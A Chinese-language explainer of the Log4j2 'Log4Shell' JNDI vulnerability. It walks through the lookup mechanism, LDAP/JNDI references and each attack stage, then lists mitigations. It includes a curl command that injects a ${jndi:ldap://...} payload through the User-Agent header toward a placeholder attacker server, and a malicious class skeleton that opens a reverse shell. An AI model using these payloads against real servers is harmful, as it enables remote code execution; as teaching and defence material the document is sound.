核心原因
log4j2有一个在日志内容里动态插入各种信息的功能通过${}
正常用法
// 读取系统属性
log.info("启动用户 ${sys:user.name}");
// 读取操作系统环境变量
log.info("PATH=${env:PATH}");
// 【冷门设计】从J2EE容器通过JNDI读取资源,例如数据源名称
log.info("DB资源:${jndi:java:comp/env/jdbc/mydb}");
Log4j2 内部维护一张前缀 → 处理器映射表:
"sys" → SysLookup
"env" → EnvLookup
"jndi" → JndiLookup
"date" → DateLookup
当扫描匹配 ${xxx:yyy},就截取冒号前的xxx,查表找到对应的 Lookup 类去执行。
while (匹配到 ${内容}) {
String expr = 提取大括号内部: "jndi:ldap://attack:1389/evil";
// 2. 按照第一个冒号分割
String prefix = "jndi";
String value = "ldap://attack:1389/evil";
// 3. 查表,找到对应处理器
Lookup lookup = LookupManager.getLookup(prefix);
if (lookup != null) {
// 4. 执行处理器
String result = lookup.lookup(value);
// 5. 把原始 ${xxx:xxx} 替换成执行返回的字符串
}
}
LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)
目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。 LDAP目录服务是由目录数据库和一套访问协议组成的系统。
dc=company,dc=com # 根域(组织根节点)
├─ou=技术部 # ou = 组织单元(类似文件夹)
│ ├─cn=张三 # cn = 用户条目(类似文件)
│ └─cn=李四
└─ou=财务部
└─cn=王五
正常 LDAP 查询:
你查一条用户记录,服务器返回:
cn=张三,mail=zhangsan@xxx.com
一堆字符串属性。客户端拿到,打印、比对,完事,仅此而已。
LDAP 协议规范里,允许目录条目存储特殊对象:Reference(引用对象)。
Reference 里面只存信息:
- 目标类名称
- 一个 URL 地址:
http://xxx/Evil.class
JNDI:Java Naming and Directory Interface,Java 命名与目录接口
给 Java 程序提供统一方式去查询各种外部目录 / 资源
类比:
JNDI ≈ 通用读卡器
可以插不同类型的卡:LDAP 卡、RMI 卡、本地 Java 容器资源卡
读卡器操作方式永远一样:lookup ()
完整流程
环境前提:
- Log4j2 版本:2.0-beta9 ~ 2.14.1
- 未配置 log4j2.formatMsgNoLookups=true
- JDK 版本 < 8u191(经典 LDAP JNDI 利用链可用)
- 业务服务器可以主动出站访问外网
阶段 1:攻击者构造请求,投递 Payload
攻击者发送 HTTP 请求,篡改请求头 User-Agent
curl 命令模拟:
curl -H "User-Agent: \${jndi:ldap://攻击服务器IP:1389/evil}" http://目标服务器:8080/test
Payload 字符串:
${jndi:ldap://attack-ip:1389/evil}
阶段 2:目标 Web 容器接收请求
Tomcat/Spring 接收 TCP 报文,解析 HTTP 头;
执行 request.getHeader("User-Agent")
变量 ua = ${jndi:ldap://attack-ip:1389/evil}
// 接口
@GetMapping("/test")
public String test(HttpServletRequest request){
// 获取浏览器User-Agent,外部可控
String ua = request.getHeader("User-Agent");
// 风险点:外部可控数据直接填入日志打印
log.info("来访客户端UA:{}", ua);
return "ok";
}
阶段 3:执行 log.info(“来访客户端 UA:{}”, ua)
进入 Log4j2 内部,分成固定两大步骤:
步骤 3.1:{} 参数填充(SLF4J 风格占位符)
模板 "来访客户端UA:{}" + 变量 ua 拼接
得到完整日志消息字符串:
来访客户端UA:${jndi:ldap://attack-ip:1389/evil}
步骤 3.2 消息 Lookup 解析 ${}
Log4j2 扫描整条拼接完成的日志文本,正则匹配到 ${...}
识别前缀 jndi: → 加载内置 JndiLookup 处理器。
内部执行等效代码:
// key = ldap://attack-ip:1389/evil
String result = new JndiLookup().lookup("ldap://attack-ip:1389/evil");
阶段 4:JNDI 发起网络连接(第一次外网访问)
InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("ldap://attack-ip:1389/evil");
📡 业务服务器主动建立 TCP 连接 → 攻击者 LDAP 服务器 1389 端口
阶段 5:LDAP 服务器返回特殊 Reference 对象
攻击者搭建的恶意 LDAP 服务不返回普通文本,返回 javax.naming.Reference
Reference 携带信息:
- 恶意 Java 类全类名 Evil
- 远程下载地址
http://attack-ip:8000/Evil.class - 对象工厂类名称
阶段 6:JDK 底层自动解析 Reference(JDK<8u191 关键特性)
JNDI 收到 Reference 后,在lookup()函数内部、函数返回之前自动执行:
受害JVM →【①LDAP查询】→ 恶意LDAP服务器
↓ LDAP返回Reference对象(包含URL地址)
受害JVM →【②HTTP请求】→ HTTP服务,下载Evil.class字节码
- 发起 HTTP 请求 📡二次外网访问,下载 Evil.class 字节码
- ClassLoader 加载这个恶意类
- 类加载触发静态代码块 static {} 自动执行
恶意类示例
public class Evil {
static {
try {
// 执行服务器本地系统命令
Runtime.getRuntime().exec("/bin/bash -c 反弹shell");
} catch (Exception e) {}
}
}
✅ 远程代码执行完成,攻击达成!
阻断这条链的几种手段(对应漏洞原理)
-
升级 Log4j2 到 2.16.0+:彻底移除 JndiLookup
-
添加 JVM 参数
-Dlog4j2.formatMsgNoLookups=true→ 直接关闭【日志消息内部 ${} 解析】,第 3.2 步不会执行
-
JDK 升级 ≥8u191:禁止 LDAP Reference 远程加载 class,第 6 步失效
-
防火墙限制服务器出站外网:无法连接攻击者 LDAP,第 4 步失败